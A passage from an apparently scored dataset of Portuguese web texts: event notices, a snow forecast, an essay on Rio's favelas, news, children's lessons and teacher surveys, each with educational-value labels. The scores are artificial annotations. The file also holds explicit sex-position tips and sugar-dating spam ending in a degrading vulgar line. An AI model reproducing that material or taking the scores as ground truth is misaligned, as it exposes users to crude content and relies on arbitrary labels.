horas.... +Palestra: Materiais de revestimento primário para vias não-pavimentadas. +Palestrante : Professor Alfredo Luís Mendes d'Ávila -Laboratório de Mecânica dos Solos - FEA/UFPel Temas a serem aborados: - Discussão sobre os critérios de aprovação/aceitação de materiais de revestimento primário considerando as normas vigentes e a experiência do Laboratório de Mecanica de Solos da UFPEL; - Ensaios de Laboratório; - Drenagem de Vias Não-Pavimentadas Data: 20/08/2012Horário: 10h ... +A ABIPTI tem o prazer de apresentar a programação final do Congresso Abipti 2012, que será realizado nos dias 14 a 16 de agosto, em Brasília (DF), no Hotel San Marco. Com o tema ?Tecnologia para um Brasil inovador e competitivo?, o evento trará palestras com autoridades do cenário político brasileiro e empresários com experiência em pesquisa e desenvolvimento. Logo na abertura os participantes te... +O 5º BIOCOM integra o programa de comemorações dos 70 anos da CIENTEC +CIENTEC e Ufrgs são parceiras na Semana Nacional de Ciência e Tecnologia +No dia 7 de outubro, no auditório da Fundação de Ciência e Tecnologia - CIENTEC, ocorre o Workshop da Interação Cimento e Aditivo. O evento conta com a participação de empresas do setor de materiais da construção civil.... +XXI Seminário Nacional de Parques e Tecnológicos e Incubadoras de Empresas",original,original,original,original,2,0.4 +"Previsão de neve de Farellones para 3333 m +TürkçeEstá a nevar em Farellones ?Tempo na estância de esquiMapas do tempoNotícias da NeveMeuSnowAlertas de neve FotografiasEscolha o paísEscolha o paísLugares ExóticosAberto no verãoNeve fresca previstaNevascas recentes10 Estações mais frias---------------AndorraArgentinaArmeniaAustraliaAustralia - New South WalesAustralia - TasmaniaAustralia - VictoriaAustriaAzerbaijanBoliviaBosnia HerzegovinaBulgariaCanada - AlbertaCanada - BCCanada - ManitobaCanada - New BrunswickCanada - NewfoundlandCanada - NSCanada - OntarioCanada - QuebecCanada - SaskatchewanChileChina - HebeiChina - HeilongjiangChina - Ji LinChina - Liao NingChina - YanqingColombiaCroatiaCyprusCzech RepublicEcuadorEgyptEthiopiaFinlandFranceFrance - CorsicaGeorgiaGermanyGreeceGreenlandHungaryIcelandIndiaIndonesiaIranIrelandIsraelItaly - TrentinoItaly - allJapanJapan - AichiJapan - AkitaJapan - AomoriJapan - Aomori-ShiJapan - EhimeJapan - FukuiJapan - FukushimaJapan - GifuJapan - GunmaJapan - HiroshimaJapan - HokkaidoJapan - HyakuzawaJapan - HyogoJapan - IshikawaJapan - IwateJapan - KanagawaJapan - KochiJapan - KumamotoJapan - KyotoJapan - MiyagiJapan - MiyazakiJapan - NaganoJapan - NiigataJapan - OitaJapan - OkayamaJapan - SagaJapan - ShigaJapan - ShimaneJapan - ShizuokaJapan - TochigiJapan - TokushimaJapan - TottoriJapan - ToyamaJapan - YamagataJapan - YamaguchiJapan - YamanashiKazakstanKenyaKosovoKyrgyzstanLebanonLesothoLiechtensteinMexico - PueblaMoroccoMyanmar (Burma)NepalNew ZealandNorwayPakistanPeruPolandPortugalRep. of MacedoniaReunionRomaniaRussiaS. AfricaSerbiaSlovakiaSloveniaSouth KoreaSpainSpain - TenerifeSwedenSwitzerlandTaiwanTanzaniaTurkeyUgandaUkraineUnited KingdomUSA - AlabamaUSA - AlaskaUSA - ArizonaUSA - CaliforniaUSA - ColoradoUSA - ConnecticutUSA - Georgia-USAUSA - HawaiiUSA - IdahoUSA - IllinoisUSA - IndianaUSA - IowaUSA - MaineUSA - MarylandUSA - MassachusettsUSA - MichiganUSA - MinnesotaUSA - MissouriUSA - MontanaUSA - NevadaUSA - New HampshireUSA - New JerseyUSA - New MexicoUSA - New YorkUSA - North CarolinaUSA - North DakotaUSA - OhioUSA - OregonUSA - PennsylvaniaUSA - Rhode IslandUSA - South DakotaUSA - TennesseeUSA - UtahUSA - VermontUSA - VirginiaUSA - WashingtonUSA - West VirginiaUSA - WisconsinUSA - Wyominge depois a estânciaEscolha a estânciaAlto del PadreAntillancaAntucoCerro MiradorChapa VerdeCorralco Mountain & Ski ResortEl ColoradoEl FraileFarellonesLa ParvaLagunillas Ski CenterLas AraucariasNevados de ChillanPortilloPowder South HeliskiPuma Lodge - Chilean HeliskiSki ArpaValle NevadoVillarrica-PuconVolcán OsornoProcurar estânciaJoin The Snow ForecastMailing List +Nota Farellones +Prognóstico de neve para FarellonesEstâncias > Chile (21) > FarellonesPrevisão de neve para Farellones 3333 m altitude emitido: 7 am 22 May 2017 (hora local)Prognóstico de neve para Farellones×FarellonesUse os botões em baixo para nos dizer...aqui está a nevar!ouAqui está a nevar muito!oudiz-nos maisPrognóstico (6 dias)Prognóstico (6 dias)3333 m2884 m2434 m9 diaDetalheForecast3333 m2884 m2434 m3333 m2884 m2434 m9 diaDetalheAvançadoAgoraMapasInformação da estânciaAvançadoAlertas de neveBuscador de neveHistóriaAgoraRelatório de neveTempo atualWebcamsMapasTempoProfundidade da neveMapa das PistasInformação da estânciaInform. da estaçãoImpres. da estação (3)Fotos (6) Tempo nas semanas anteriores°C°F Tempo nas semanas anterioresDias 0-3 Farellones Resumo do Tempo: Queda de neve moderada na Quarta à tarde. temperaturas serão abaixo de zero (máx. -1°C na Segunda de manhã, mín -9°C na Quarta à noite). Ventos diminuem (rajadas de Nor-Noroeste na Terça à noite, ventos frescos de Nor-Noroeste na Quarta à noite).Dias 4-6 Farellones Resumo do Tempo: Uma ligeira cobertura de neve fresca, caíndo na Qui de manhã. Condições de congelação e descongelação (máx. 1°C no Sábado de manhã, mín -9°C na Qui de manhã). principalmente ventos frescos.Segunda 22Terça 23Quarta 24Quinta 25Sexta 26Sábado 27morn-ingafter-noonnightmorn-ingafter-noonnigh...",original,original,original,original,2,0.4 +"Jaques Morelenbaum | Programa Passagem de Som | Instrumental SESC Brasil +Jaques Morelenbaum | Programa Passagem de Som +Na companhia de Fábio Delduque, idealizador do Festival de Arte Serrinha, o violoncelista Jaques Morelenbaum percorre a fazenda que todos os anos recebe artistas, instalações, shows e laboratórios criados naquele espaço. +Após tocar por muitos anos com Tom Jobim, Caetano Veloso e Gilberto Gil, Jaques fala de quando deixou a sua música ganhar voz com um samba inspirado na obra de João Gilberto, suas inflexões e pequenos ritmos. +Sobre o palco, os músicos destacam o trabalho como arranjador de Jaques Morelenbaum, que é deixado um pouco de lado no CelloSam3aTrio, em um momento em que aproveita o trabalho como intérprete ao lado de dois grandes músicos. +FILIPE MASSUMI +TERRA DAS PALMEIRAS (Taiguara) +Fotos 1 a 4: SHOW JAQUES MORELENBAUM E ZÉLIA DUNCAN +NO 15º FESTIVAL DE ARTE SERRINHA, EM 2016 +Foto 5: PABLO CASALS +Fotos 6 a 8: RYUICHI SAKAMOTO, JAQUES E PAULA MORELENBAUM NA +GRAVAÇÃO DO DISCO ""CASA"", EM 2001 +Vídeo 1: FESTIVAL DE ARTE SERRINHA +Vídeo 2: MÚSICA PELOS POROS +dir.: Marcelo Machado +12.541 Visualizações +69.292 Visualizações +cerca de 10 anos atrás +660.052 Visualizações",original,original,original,original,2,0.4 +"Os novos sanitaristas sociais - Almanaque Cuiabá +No começo do século, um dos maiores cronistas brasileiros – João do Rio – dava notícias do processo de modernização do Rio de Janeiro. +Ninguém é obrigado a saber história de cabo a rabo. Seria bom para entendermos as razões pelas quais chegamos onde chegamos, é verdade, mas história hoje em dia é um luxo. Se soubéssemos o básico, não nos surpreenderíamos tanto com o problema dos morros cariocas e da violência ali entrincheirada. No começo do século, um dos maiores cronistas brasileiros – João do Rio – dava notícias do processo de modernização do Rio de Janeiro. O então prefeito, Pereira Passos, mandou demolir antigos prédios de traço colonial para dar lugar à Avenida Central, hoje Rio Branco, uma espécie de Champs-Élysées fluminense, com edificações modernas em ruas largas que substituíram os casebres e cortiços pestilentos, repletos de desempregados, subempregados, pequenos comerciantes, caixeiros viajantes, lavadeiras, estrangeiros, negros alforriados e seus descendentes. +Com a “bota-abaixo” de Pereira Passos, o enorme contingente de trabalhadores que residiam no centro da cidade migrou para os morros, fazendo do chão o assoalho dos barracos e de tetos galvanizados a proteção para a chuva. Ninguém subia o morro, nem mesmo a polícia. João do Rio foi uma das poucas exceções e retratou as condições de vida: “desde o sopé da montanha as casas são todas feitas de bambu entrelaçado com barro, tendo por teto pedaços de folha de flandres seguros com pedras, são baiucas, são pocilgas, são indescritíveis”. Com a sagacidade que era peculiar, João do Rio antecipa: “será crível que, a dois passos da Rua do Ouvidor, haja uma favela, reduto inexpugnável de desordeiros conhecidos e de gatunos temíveis? Pois há e, o que é mais, com alguns dos mais valentes prestando serviços à polícia”. (Gazeta de Notícias, 21 de maio de 1903). +Ao mesmo tempo, o Rio de Janeiro contraiu uma febre europeia de longa duração: os maneirismos franceses tomaram conta do vestuário, da língua e do quotidiano carioca, enquanto o chá das cinco era instituído como hábito, além do jogo de bridge, verdadeira doença na alta sociedade. Essa belle époque contrastava com a formação dos primeiros aglomerados no Morro da Providência e na Favela. O abismo social era tratado com absoluto descaso e, portanto, nada mais natural que a formação de guetos de violência, comandado por “malandros e capoeiras de navalha” como se dizia à época, substituídos por traficantes fortemente armados, décadas depois. As coisas permaneceram assim em razão de sucessivos pactos entre políticos, milícias corrompidas e traficantes, salvaguardando as aparências da “zona sul”, uma terra de fantasia. A recém-nascida Ipanema, por exemplo, foi apelidada de Praia Maravilha, nas duas primeiras décadas do século XX, cujos os lotes eram valorizados por maganos que pretendiam uma vida moderna e luxuosa, livres da azáfama do centro da cidade. +Eu mesmo nasci em 1977. Recordo da minha avó tomando sol na frente do Copacabana Palace. Era um tempo de absoluta tolerância no convívio entre senhoras de maiô, travestis de biquíni, estrangeiros deslumbrados e vendedores de mate e biscoito Globo. A velha sabia, entretanto, que esse idílio iria acabar rapidamente. O Rio-Maravilha da zona sul não iria se sustentar o resto da vida. Olhando para o alto, Lydia me dizia o que qualquer morador da extinta Guanabara diria: tenho medo, medo do dia em que o morro descer para a rua. Aí sim, veremos uma revolução de verdade. O que minha avó premonizava eram as balas perdidas, os comandos criminosos, a corrupção institucionalizada. Isso tudo, lembremos, começou com a ideia de “saneamento social”, uma medida tão simples quanto imbecil. +O pesadelo carioca fermentou em silêncio enquanto a high society tomava o seu five o’clock tea, jogava law-tennis e foot-ball no Fluminense. Os grã-finos, mais preocupados com as lições de etiqueta de Rafael Mayrink à realidade das ruas, não deram a menor impo...",original,original,original,original,3,0.6 +"5 dicas para melhorar o sexo quando você está por cima - VilaMulher +Durante o sexo, é quase unânime que as mulheres têm mais facilidade de chegar ao orgasmo quando estão por cima. Quando a mulher está de frente para o homem, pode controlar o ângulo e a penetração, podendo movimentar os quadris da maneira que for mais prazerosa para ela. +Veja como aproveitar ainda mais essa posição sexual. +1 - Movimente seu quadril para trás e para frente. Isso fricciona o clitóris e estimula seu prazer. +2 - Incline sua pélvis para frente, maximizando o contato entre o clitóris e o abdômen. +3 - Estenda a mão atrás de você a acaricie os testículos dele. +4 - Incline o corpo um pouco para trás, apoie suas mãos nas coxas dele. Isso fará o pênis dele entrar em contato com seu ponto G. +5 - Coloque uma almofada debaixo do bumbum dele, fazendo com que a penetração seja mais profunda. +Sexo na cama - 4 posições diferentes",original,original,original,original,0,0.0 +"Olá, pequenos exploradores de palavras! Já pararam para pensar que as histórias são como portais mágicos que nos levam para outros mundos, nos apresentam a personagens incríveis e nos ensinam um montão de coisas? Hoje, vamos embarcar em uma jornada especial para descobrir a riqueza da literatura brasileira, que é como um tesouro cheio de contos, poemas e aventuras criadas por autores do nosso país. + +Imagine, por exemplo, as histórias do Sítio do Picapau Amarelo, escritas por Monteiro Lobato. Quem não se encanta com as travessuras da Narizinho, as invenções do Visconde de Sabugosa e a sabedoria da Dona Benta? Essas histórias são como um abraço quentinho, que nos fazem rir e aprender sobre a nossa cultura. E que tal as lendas folclóricas, como a do Curupira, que protege as florestas, ou a da Iara, a sereia que encanta os pescadores com sua beleza e seu canto? Cada uma dessas histórias nos transporta para um lugar mágico, cheio de mistérios e ensinamentos. + +A literatura brasileira também está presente nas músicas que cantamos, nas peças de teatro que assistimos e até nos livros que encontramos na biblioteca da nossa escola. Conhecer esses autores e suas obras é como descobrir um pedacinho da nossa identidade, da nossa história e da nossa cultura. É como construir um quebra-cabeça gigante, onde cada livro, cada poema, cada conto é uma peça fundamental para entendermos quem somos e de onde viemos. + +Que tal, então, começarmos a nossa aventura? Procurem na biblioteca da escola ou na internet por autores brasileiros como Cecília Meireles, Vinicius de Moraes e Ruth Rocha. Leiam seus poemas, contos e livros. Descubram as histórias que eles têm para contar. E, quem sabe, um dia, vocês também se tornem grandes autores e criem suas próprias histórias, para encantar e inspirar outras pessoas. + +Lembrem-se: a literatura é uma janela para o mundo, um portal para a imaginação e uma ferramenta poderosa para aprendermos, crescermos e nos tornarmos pessoas melhores. Então, abram seus livros, deixem a imaginação voar e embarquem nessa aventura literária! Quais histórias brasileiras você já conhece? Qual personagem te encanta mais e por quê? Compartilhe suas descobertas com seus amigos e familiares e mostre a todos a magia da nossa literatura!",Português,Literatura brasileira,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional, introduzindo a literatura brasileira de forma envolvente para crianças. Apresenta autores e obras importantes, incentivando a leitura e a exploração da cultura nacional. A linguagem é acessível e inspiradora, adequada para os anos iniciais do ensino fundamental. O texto cumpre todos os critérios, desde a apresentação de informações básicas relevantes até o estímulo à reflexão e à pesquisa.",5,1.0 +"Aedes: uma emergência internacional - Estadão +Caça-mosquitos se dedicam a combater o Aedes e ganhar apoio da população +Eles têm a habilidade de refazer os trajetos da fêmea do Aedes aegypti e impedir que o mosquito continue se proliferando. Com anos de treinamento e de experiência, conseguem verificar cantinhos, vasos aparentemente inocentes e objetos esquecidos. De casa em casa, Jeremias ganha aliados no combate ao transmissor de dengue, zika e chikungunya. De 1987 até hoje, Antônio já conheceu metade do Estado orientando a população. Há 36 anos, Ricardo acompanha o avanço do mosquito e as dificuldades para tentar acabar com ele. +Os três estão entre os mais antigos “caçadores de mosquitos” do Estado de São Paulo, que têm como missão intensificar as ações em momentos mais críticos e não desacelerar em tempos de calmaria - algo que não tem ocorrido nos últimos anos. +Às 5 horas, o agente de saúde ambiental Jeremias Cruz acorda e, uma hora depois, já está a caminho do trabalho. Ele mora na Vila Formosa, na zona leste da capital, e trabalha na Supervisão de Vigilância em Saúde Jabaquara / Vila Mariana, na zona sul. “Gosto de chegar cedo, ver qual é a minha missão, conversar com os colegas, tomar um café.” +Cruz prefere não dizer a idade, mas se orgulha dos 13 anos de combate à dengue enfrentando cachorros ferozes, moradores bravos e situações de risco em suas ações. “Trabalho com vistoria de imóveis, hospitais, ferro-velho, locais de difícil acesso. Cada lugar tem uma dinâmica, cada bairro tem um jeito, cada morador tem um perfil. É um trabalho que gosto de fazer por levar noção de prevenção para as pessoas.” +O trabalho é de paciência e persistência. Ganhar confiança é o primeiro passo. “Bom dia, meu nome é Jeremias”. Licença, por favor, obrigado e um sorriso não faltam. Todos os moradores das casas visitadas recebem o tom cordial do agente que acredita nunca ter sido contaminado pelo vírus. “Nunca fiquei acamado. Se tive, deve ter sido uma fraca. Não sei se o corpo cria resistência.” +O desafio não é só impedir a proliferação do mosquito, mas transmitir a noção de que é necessário que todos colaborem. “Tem lugar em que os problemas persistem, mas tem outros que melhoram. Dar bronca é fácil, mas temos de valorizar quem faz o procedimento correto, quando as pessoas aprendem. Mais de 80% dos criadouros estão na casa das pessoas.” +Evolução. Em 1987, quando o zootecnista Antônio Henrique Gomes, de 56 anos, começou a trabalhar na Superintendência de Controle de Endemias (Sucen), entidade ligada a Secretaria Estadual de Saúde, sua atuação já era ligada ao combate ao Aedes aegypti. Seu primeiro trabalho foi em Araçatuba, no interior paulista, e, de ação em ação, acredita já ter conhecido metade dos 645 municípios do Estado de São Paulo. +“Trabalhei a vida toda com dengue. No começo, o que a gente tinha de experiência era o sucesso de Oswaldo Cruz, que erradicou o mosquito. Mas encontramos uma série de dificuldades, como a oferta de produtos descartáveis e o descarte irregular, ocupações irregulares. A complexidade do controle ficou muito maior.” +Nesses quase 30 anos, Gomes já se deparou com casos de pessoas doentes, com notícias de mortes e com as mais variadas desculpas de moradores para negar que mantinham focos. “Eu me lembro de duas situações. Estava fazendo uma visita e a moradora pediu um tempo para eu poder entrar. Depois, eu vi vários pneus sendo jogados por cima do muro. Ela sabia que estava errada. Em outra ocasião, uma senhora disse que deixava uma latinha com água para ‘a mocinha ter o que olhar’. Isso foi na década de 1990”, relembra, rindo. +O pesquisador científico Ricardo Ciaravolo, de 62 anos, entrou na Sucen em 1980. No início, seu trabalho era basicamente com áreas rurais onde passava orientações a líderes e moradores conhecidos sobre problemas como Doença de Chagas. “A população era basicamente rural. A recusa não era tão grande, porque era mais fácil trabalhar em municípios menores.” +A chegada do Aedes mudou a rotina dos...",original,original,original,original,4,0.8 +"Planeamento urbano de forma sustentada, em sala de aula +Referência Lopes, M.M.T.S., (2016) Planeamento urbano de forma sustentada, em sala de aula, Rev. Ciência Elem., V4(2):015 +Nesse sentido e com o objetivo de estabelecer pontes entre a teoria e a prática, numa aproximação ao modelo de Steinitz (Steinitz, 1994), propõe-se uma atividade, em sala de aula, de acordo com a seguinte metodologia: +Inicialmente, a turma é dividida em grupos de cinco elementos. +São identificados os interesses-chave de cada um dos elementos do grupo, de entre as áreas seguidamente referidas: Saúde, Ambiente, Comércio, Cultura e Indústria. +Fornece-se ao grupo o mapa de uma área conhecida. +Apresenta-se ao grupo a pretensão de serem contruídos, na área dada, uma biblioteca pública, um parque urbano, um hospital, um centro comercial e uma empresa de cromagens. +Pede-se que cada elemento do grupo, individualmente, proponha a localização da construção que serve os interesses que defende, usando para tal uma mica transparente sobre o mapa dado e canetas de acetato. +Dinamiza-se a discussão entre os diferentes elementos do grupo de forma a que cheguem a uma localização consensual das cinco construções. +Solicita-se ao grupo a apresentação de uma proposta final de planeamento urbano pelo grupo, acompanhada de um relatório onde sejam defendidas as vantagens do referido planeamento a que o grupo chegou, em consenso, contemplando sempre a defesa da qualidade ambiental. +Na figura 1 é apresentado um trabalho intermédio de alunos de 8º ano, ao longo do processo descrito. +Figura 1. Trabalho de planeamento urbano, realizado por alunos de 8ºano.",original,original,original,original,4,0.8 +"Olá, pequenos historiadores! Já pararam para pensar que cada um de nós faz parte de uma história muito maior? Essa história começa em nossas famílias e se estende até a comunidade onde vivemos. Hoje, vamos explorar juntos como esses dois grupos são importantes para quem somos e para o mundo ao nosso redor. + +Imagine que sua família é como uma árvore. As raízes dessa árvore são os seus avós, bisavós e todos aqueles que vieram antes de você. Eles viveram muitas aventuras, enfrentaram desafios e aprenderam lições valiosas. As histórias deles são como o tronco da árvore, forte e resistente, que sustenta tudo o que você é hoje. Cada galho representa seus pais, tios e outros parentes, que te amam, cuidam de você e te ensinam coisas importantes. E você? Você é como uma folha nova, cheia de vida e potencial, pronta para crescer e aprender! + +Assim como cada família tem sua história, cada comunidade também tem a sua. A comunidade é o lugar onde vivemos, onde encontramos nossos amigos, onde vamos à escola e ao parque. É um grupo de pessoas que compartilham o mesmo espaço e que, juntas, constroem o dia a dia daquele lugar. Pense na sua rua, no seu bairro. Quem são as pessoas que você encontra por ali? O que elas fazem? Como elas contribuem para que a sua comunidade seja um lugar melhor? + +As famílias e as comunidades estão sempre mudando. Novas pessoas chegam, outras se mudam, novas histórias são contadas. E todas essas mudanças nos ensinam algo. Aprendemos sobre diferentes culturas, diferentes formas de pensar e diferentes maneiras de viver. Por exemplo, você já reparou que algumas famílias têm costumes diferentes dos seus? Ou que alguns amigos seus vêm de outros países e falam outras línguas? Essas diferenças são muito importantes, pois nos ajudam a entender e respeitar o mundo ao nosso redor. + +Que tal conversar com seus pais, avós ou outros familiares e perguntar sobre as histórias deles? Descubra como era a vida deles quando eram crianças, quais eram seus brinquedos preferidos e quais desafios eles enfrentaram. E que tal também observar a sua comunidade com mais atenção? Veja como as pessoas interagem umas com as outras, quais são os problemas que precisam ser resolvidos e como você pode ajudar a tornar o seu bairro um lugar ainda melhor. Ao conhecer a história da sua família e da sua comunidade, você estará construindo a sua própria história e se tornando um cidadão mais consciente e participativo. Lembre-se: a história está em todo lugar, basta abrirmos os olhos e o coração para ela!",História,Família e comunidade,anos iniciais (1º ao 5º ano),"O texto apresenta alto valor educacional por introduzir conceitos de história familiar e comunitária de forma acessível e envolvente para crianças. Utiliza metáforas (árvore genealógica) para facilitar a compreensão, incentiva a pesquisa e a observação do entorno, promove a valorização da diversidade e estimula a participação cidadã. O estilo de escrita é adequado ao público-alvo, e o conteúdo é relevante para o desenvolvimento social e histórico dos alunos.",5,1.0 +"Olá, pequenos exploradores da história! Já pararam para pensar que a história de cada um de nós começa muito antes de nascermos? Ela começa com a nossa família e a comunidade onde vivemos. Imagine que cada família é como uma árvore, com raízes profundas que se estendem por muitas gerações. Essas raízes são os nossos avós, bisavós e todos aqueles que vieram antes de nós. Eles viveram em tempos diferentes, com costumes e tradições que foram passados de pai para filho, formando a nossa herança familiar. + +E o que é a comunidade? A comunidade é como um grande jardim, onde cada flor representa uma família diferente. Vizinhos, amigos da escola, pessoas que trabalham perto de casa... Todos fazem parte da nossa comunidade! Assim como as famílias, as comunidades também têm suas próprias histórias, marcadas por festas, costumes e até mesmo desafios que foram superados juntos. Pensem na festa junina que acontece perto da sua casa. Ela é uma tradição da comunidade, um momento de celebrar a história e os costumes do lugar onde vocês vivem. + +Agora, vamos imaginar a sua família. Quem faz parte dela? Seus pais, irmãos, avós, tios, primos? Cada um deles tem uma história para contar, uma experiência diferente que contribui para a história da sua família. Que tal perguntar para seus avós como era a vida quando eles eram crianças? Quais eram as brincadeiras, os costumes, os lugares que eles frequentavam? Vocês vão se surpreender com as histórias incríveis que eles têm para compartilhar! + +A história da sua família e da sua comunidade são como peças de um quebra-cabeça que formam a história do Brasil. Cada região do país tem suas próprias tradições e costumes, que foram moldados pelas famílias e comunidades que ali vivem. Por exemplo, no sul do Brasil, muitas famílias têm origem europeia, e isso se reflete na culinária e nas festas da região. Já no nordeste, a influência africana é muito forte na música, na dança e na religião. + +Entender a história da nossa família e da nossa comunidade nos ajuda a valorizar as nossas raízes, a compreender o presente e a construir um futuro melhor. Afinal, somos todos parte de uma grande história, uma história que está sempre em construção. Que tal começar a escrever a sua história hoje? Converse com seus familiares, explore a sua comunidade e descubra as maravilhas que estão ao seu redor! E lembre-se, cada um de nós é um personagem importante nessa história, com um papel único e especial a desempenhar.",História,Família e comunidade,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de história de forma acessível para crianças, conectando a história pessoal e familiar à história da comunidade e do país. Utiliza linguagem simples e exemplos relevantes, incentivando a pesquisa e a valorização das raízes culturais. Aborda o tema de maneira coerente, focada e adequada ao ensino fundamental, explorando costumes, tradições e a diversidade cultural brasileira.",5,1.0 +"Sugar Babies em Sao Pedro dos Ferros MG ဩ Relacionamento Sugar Daddy Sugar Baby A Maior Rede Social Sugar Daddy do Brasil!Sugar Babies em Sao Pedro dos Ferros MG Site de Namoro +Relacionamento Sugar Sugar Babies em Sao Pedro dos Ferros MG Relacionamento Sugar o Melhor Site de Namoro Sugar do Brasil ✓ Entrar Esqueceu sua senha? Ou +Faça seu cadastro Tenha acesso aos melhores Sugar Daddys e Sugar Babys do Brasil Adicione como amigo Encontre pessoas maravilhosas adicione-os como amigo, Sugar Babies em Sao Pedro dos Ferros MG . Iniciar um bate-papo Uma vez que o Sugar aceita, você pode iniciar uma conversa incrível. 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Elas gostam de luxo, viagens exóticas e presentes. Muitas estudantes universitários bonitas, inteligentes e elegantes, muitas atrizes ou modelos aspirantes. Lutando no início da sua carreira, estão a procura de um parceiro maduro para cuidar e orientá-las financeiramente. Sugar Babies em Sao Pedro dos Ferros MG Sugar Babies vivem um estilo de vida luxuoso, e encontram pessoas ricas regularmente. Se você entende isso, Você vai ser a Sugar Baby perfeita! O que é um Arranjo? +encontrar o Sugar dos seus sonhos Sugar Babies em Sao Pedro dos Ferros MG ! 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Uma putinha loira da bunda impressionante, que satisfaz o homem de várias formas.",original,original,original,original,0,0.0 +"O Mapeamento “Profissão Professor” mostra que, na percepção de 69% dos professores brasileiros, dar mais oportunidades de qualificação aos docentes é a medida mais eficaz de valorização desses profissionais. A melhoria da remuneração aparece na segunda posição com 62%. Na mesma pesquisa foi constatado que somente 67% do tempo de aulas é usado para a atividade de ensino e aprendizagem. +Com mais de 2,2 milhões de docentes no país, a percepção é que a valorização do profissional da educação não está unicamente em garantir salários mais atrativos e planos de carreira, mas em um conjunto de estratégias que tem como o ponto central o apoio à formação continuada. +A pesquisa Profissão Professor –conduzida pelo movimento Todos pela Educação com mais de 2 mil professores brasileiros de educação básica e ensino médio, em junho de 2018, aponta que 69% dos educadores defendem que dar mais oportunidades de qualificação aos docentes que estão na ativa é a medida mais eficaz para a valorização da profissão pela sociedade. +Escutar os educadores nos debates públicos e nas decisões políticas educacionais foi apontado por 67% dos entrevistados como outra ação importante. +Em suma, a qualificação e escuta, na opinião dos professores, podem levar à valorização da atividade. Restaurar a autoridade frente aos alunos e pais e melhorar remuneração aparecem em segunda posição com, respectivamente, 64% e 62%. +Um outro dado mostrado pela pesquisa, reforça a percepção da importância dada aos temas que envolvem a formação do docente. +Estes dados demonstram que o professor quer aprender. Um dos maiores desafios é criar um ambiente propício para que esse aprendizado aconteça, sobretudo diante da escassez de tempo. +No Brasil, os docentes utilizam 12% da carga horária para administrar tarefas operacionais, como corrigir exercícios e provas, preencher listas e tabelas, elaborar e revisar planejamento e calcular notas. +Nas aulas, 20% do tempo é usado para manter a disciplina; e somente 67% é dedicado ao ensino e aprendizagem propriamente dita (OCDE). +Segundo Kamila Drequeceler, professora do Colégio Magister, é muito importante ter reuniões, palestras e cursos de formação continuada durante o ano. Essas atividades fazem com que o professor possa melhorar cada vez mais. +“A cultura de aprendizagem ativa é muito nova para o professor. Os docentes de hoje não foram formados nesse contexto. Quando eu era aluna, por exemplo, o tipo de aula era essencialmente expositiva. Então, atualmente, para dar uma aula com metodologia ativa que fuja do tradicional significa, para o professor, sair da zona de conforto”, afirma. +Paula Gonçalves, coordenadora do programa de Desenvolvimento de Metodologias Ativas da Geekie, salienta que os professores brasileiros têm alguns desafios para investir na educação continuada. +“Há o desafio do tempo disponível para investir no aprimoramento profissional e, muitas vezes, o custo envolvido”, afirma. +“No entanto, há uma série de cursos online e e-books gratuitos que auxiliam o educador nessa empreitada”. salienta Paula. +Ela indica alguns sites, que contam com conteúdos de qualidade disponíveis para o professor.",original,original,original,original,4,0.8 +"MINICURSOS DA CÁTEDRA DE EDUCAÇÃO BÁSICA DA USP TRATAM DA FORMAÇÃO GERAL NO SÉCULO 21 E DA REALIZAÇÃO DE TAREFAS NA ESCOLA | UNDIME SÃO PAULO +UNDIME SÃO PAULO +União dos Dirigentes Municipais de Educação do Estado de São Paulo +Skip to content +Toggle navigation +Search for +Página Inicial +Institucional +Sobre a Undime +Objetivos +Diretoria +Estatuto +Municípios Paulistas +Macrorregiões +Publicações +Base Nacional Comum Curricular +Currículo Paulista +Material das Palestras +Revistas +Pesquisas +Comunicação +Nossos Canais +Editais +Links Úteis +Fotos +Informes – Vacinação +Toggle navigation +Search for +Página Inicial +Institucional +Sobre a Undime +Objetivos +Diretoria +Estatuto +Municípios Paulistas +Macrorregiões +Publicações +Base Nacional Comum Curricular +Currículo Paulista +Material das Palestras +Revistas +Pesquisas +Comunicação +Nossos Canais +Editais +Links Úteis +Fotos +Informes – Vacinação +MINICURSOS DA CÁTEDRA DE EDUCAÇÃO BÁSICA DA USP TRATAM DA FORMAÇÃO GERAL NO SÉCULO 21 E DA REALIZAÇÃO DE TAREFAS NA ESCOLA +As mudanças e incertezas do século 21 trazem desafios e impactos para o trabalho humano, mas, ao mesmo tempo, propiciam novos recursos para a educação. Um minicurso da Cátedra de Educação Básica tratará das mudanças econômicas, sociais e ambientais esperadas para as próximas décadas e seus reflexos na concepção e organização das diferentes etapas da educação. +Professores deste encontro, Naomar de Almeida Filho, titular da Cátedra, e Luís Carlos de Menezes, coordenador acadêmico, também vão abordar propostas de formação geral universitária adequadas às novas demandas de profissionalização e as maneiras de orientar jovens a conhecerem e avaliarem perspectivas profissionais presentes e futuras. +Na mesma semana, o professor e psicólogo Lino de Macedo falará sobre a importância da realização de tarefas e compreensão de conceitos no processo de escolarização. Pensando como professor, mas não se esquecendo do ponto de vista da criança, Lino espera debater com o público processos chamados de interiorização e de exteriorização, além da postura de “tomar consciência”. +Para assistir, basta acessar o canal da Cátedra no YouTube: https://www.youtube.com/c/catedradeeducacaobasica +Mais informações sobre o conteúdo dos minicursos, bibliografia recomendada e orientações sobre certificação estão em https://www.catedraeducacaousp.org/minicursos2021 +MISSÃO DA UNDIME-SP +Articular, mobilizar e integrar os dirigentes municipais de educação para construir e defender a educação pública com qualidade social. +PRINCÍPIOS +Democracia que garanta a unidade de ação institucional; afirmação da diversidade e do pluralismo; gestão democrática com base na construção de consensos; ações pautadas pela ética com transparência, legalidade e impessoalidade; autonomia frente aos governos, partidos políticos, credos e a outras instituições; visão sistêmica na organização da educação fortalecendo o regime de colaboração entre os entes federados. +UNDIME-SP +União dos Dirigentes Municipais de Educação do Estado de São Paulo +""Em defesa da educação pública com qualidade social"" +Rua Barão de Itapetininga, 46 - 13º andar +cj. 1311 e 1321 +CEP: 01042-001 - Centro - São Paulo - SP +Telefone: (11) 3121-4320 +E-mail: undimesp@undime-sp.org.br +PARCEIROS +APOIADOR +Usamos cookies em nosso site para oferecer a você uma melhor experiência de navegação +ConfiguraçõesAceitar +Manage consent +Fechar +Visão geral de privacidade +Este site usa cookies para melhorar sua experiência enquanto você navega pelo site. Destes, os cookies categorizados conforme necessário são armazenados no seu navegador, pois são essenciais para o funcionamento das funcionalidades básicas do site. Também usamos cookies de terceiros que nos ajudam a analisar e entender como você usa este site. Esses cookies serão armazenados no seu navegador apenas com o seu consentimento. Você também tem a opção de desativar esses cookies. 